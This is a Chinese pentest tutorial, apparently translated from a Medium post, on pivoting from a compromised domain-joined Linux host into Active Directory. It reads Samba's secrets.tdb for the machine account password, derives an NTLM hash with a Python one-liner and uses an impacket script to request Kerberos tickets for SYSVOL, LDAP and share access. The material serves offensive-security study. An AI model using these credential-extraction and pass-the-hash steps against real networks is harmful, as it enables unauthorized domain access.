回归最本质的信息安全

渗透测试时,如何从Linux拓展到AD域?

2017年6月13日发布

26,648
1
1

导语:在渗透测试过程中,我们有时会拿下一个linux服务器,那么我们会尽可能的收集更多的信息。特别是,这台我们拿下的liinux服务器已经加入到了Windows的AD域中。

适用于SAMBA3的方法

通过阅读SAMBA文档可以了解到通过阅读secrets.tdb数据库就可以得到机器账户的明文密码。

现在,我们使用的是旧版本的linux环境,并且已经加入到了域中,主机名为:ubuntu3.如图:

1-KFC9wNkxQmPK4aZ0cqxqGQ.png

观察上图可以看到secrets.tdb数据库中有以下的内容:

1. SECRETS/SALTING_PRINCIPAL/DES/LAB.BRANSH.COM: 这一数据将主机名,域名展示给了我们。将以$符号结束的用户名记录下来,在这一环境中,用户名为ubuntu3$.
2. SECRETS/MACHINE_PASSWORD/LAB:这一数据就展示了机器账户(ubuntu3$)的明文密码,长度为14个字节(加上终止符0),这一环境中,密码为:"UeHjnbam_zdtr#"

接下来使用我们得到的账户密码得到一个Kerberos TGT,然后查询LDAP数据库:

1497189272460735.png

上图中,可以观察到:

1. 用户ubuntu13执行kinit命令从KDC中获得了TGT。
2. 通过klist命令列出了tickets
3. 通过ldapsearch使用Kerberos认证方法进行LDAP查询。

继续使用机器用户进入到域中默认的SYSVOL共享文件夹:

1497189291684910.png

上图中得到的信息:

1. ubuntu13通过kinit命令得到一个TGT。
2. 通过klist获取tickets。
3. 通过smbclient使用Kerberos就可以进入默认域中的SYSVOL文件夹。

使用此帐号获得网络上无限制的共享:

1497189313117388.png

这张图你会发现:

1. 通过smbclient使用机器账户获得的Kerberos票据就可以访问到域成员共享的内容。
2. 通过klist命令获得域中的tickets。

适用于SAMBA4的方法

在SAMBA4中,渗透过程会有一些不同。在一个新的Samba服务器中,当我们查看secrets.tdb数据库时,我们会得到一大串hex数值,并且他们不是ascii码:

1497189397115669.png

为了了解到这一数值在secrets.tdb中是怎么生成的,我们需要去阅读Samba4的源代码。由于Samba代码非常长,我们需要找到开始的地方。

可能你以前知道,”net ads changetrustpw”命令可以修改机器账户的密码:

1-uigeoCE1vNqCuiX7o6lHxQ.png

我们可以通过查找与”net ads”(net_ads.c)命令相关联的文件,或者使用grep进而查找源文件中是否包含”Changeing password for printcipal”。无论哪一种方式,我们最后得到如下代码:

下图展示了net_ads_changetrustpw函数的源码:

1497189458778220.png

在2378行,ads_change_trust_account_password这一函数被调用,其中包括两个参数:ads,host_printcipal。

下图,展示了位于util.c中的ads_change_trust_account_password函数:

1497189486528777.png

38行调用了trust_pw_new_value这一方法,其中包括三个参数,其中特别需要注意的是SEC_ADS这个参数。下面开始查找这一函数吧。

下图就是trust_pw_new_value函数,他会调用generate_random_machine_password,并且参数最小值为128,最大值为255。

1-x_mmnuZ2hGGsbWnUfY3HmQ.png

注释中可以看到它是将特定缓冲区转换为utf-8。
所以,在继续查看代码之前,我们先将获得的hex进行utf-8解码。复制我们在secrets.tdb中获得的代码hex:

1497189553109276.png

接下来,使用下方python代码,进行生成NTLMhash:

# echo “E79EB7…880” | python -c “import hashlib,binascii;print binascii.hexlify(hashlib.new(‘md4’,binascii.unhexlify(raw_input().replace(‘’, ‘’).replace(‘00’,’’)).decode(‘utf-8’).encode(‘utf-16le’)).digest())”

下图,展示了我们为机器账户生成的NTLMhash值:

1497189579137481.png

得到的NTLMhash值为a879b96849623f7ab57bf35f8a3a658c。我们对它是否可以进入SYSVOL进行测试。

下图展示了使用这一hash我们进入到了SYSVOL共享文件夹:

1497189598202148.png

现在,我们使用NTLM hash值从TGT中获得TGT,进而通过ldapsearch进行LDAP查询:

1497189613682853.png

上图中,可以看到我们使用了一个python脚本来获得TGT。get_tgt.py代码的内容非常简单,它完全基于impacket库。剩余的代码与第一种情况的作用是一样的。

get_tgt.py内容如下:

from impacket.krb5.ccache import CCache
from impacket.krb5.kerberosv5 import getKerberosTGT
from impacket.krb5 import constants
from impacket.krb5.types import Principal
import argparse, sys
from binascii import unhexlify

def main(domain, username, password, ntlm, kdc):
    # First of all, we need to get a TGT for the user
    userName = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
    nthash = unhexlify(ntlm)
    # getKerberosTGT(userName, password, domain, lmhash, nthash, aesKey, kdcHost)
    print '[*] Requesting a TGT from the KDC...'
    tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, '', nthash, '', kdc)
    print '[*] Generating a CCACHE...'
    ccache = CCache()
    ccache.fromTGT(tgt, oldSessionKey, sessionKey)
    tgt_name = user + '@' + domain + '_TGT_.ccache'
    print '[*] Saving the CCACHE into the file %s...' % (tgt_name)
    ccache.saveFile(tgt_name)


if __name__ == '__main__':
    print 'nSimple br@nsh test for getting a TGTn'

    parser = argparse.ArgumentParser(add_help = True, description = "Gets a TGT from the KDC")
    parser.add_argument('-user', action='store', default='', help="Domain User (sAMAccountName)")
    parser.add_argument('-password', action='store', default='', help='User's password')
    parser.add_argument('-domain', action='store', default='', help='Domain name')
    parser.add_argument('-ntlm', action="store", default='', metavar="NTHASH", help='NTLM hash')
    parser.add_argument('-kdc', action='store', default='', help='Domain Controller')

    # Parse the arguments
    options = parser.parse_args()

    domain = options.domain
    user = options.user
    password = options.password
    ntlm = options.ntlm
    kdc = options.kdc

    # If not enough information is provided 
    if domain == '' or user == '' or kdc == '':
        parser.print_help()
        sys.exit(1)

    # If the password was not provided, then ask for it
    if password == '' and user != '' and ntlm == '':
        from getpass import getpass
        password = getpass("Password:")

    # If a hash is provided, then use it
    if ntlm != '':
        password = None

    try:
        main(domain, user, password, ntlm, kdc)
    except Exception, e:
        import traceback
        print traceback.print_exc()

参考:

https://wiki.samba.org/index.php/Keytab_Extraction
https://blog.svedr.in/posts/passwordless-ldap-authentication.html

本文翻译自:https://medium.com/@br4nsh/from-linux-to-ad-10efb529fae9,如若转载,请注明来源于嘶吼: http://www.4hou.com/technology/5346.html

点赞 1
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

xnianq

xnianq

HFUT,信息安全

发私信

发表评论

    沙拉拉卡
    沙拉拉卡 2017-06-13 18:42

    这个技术有点厉害啊…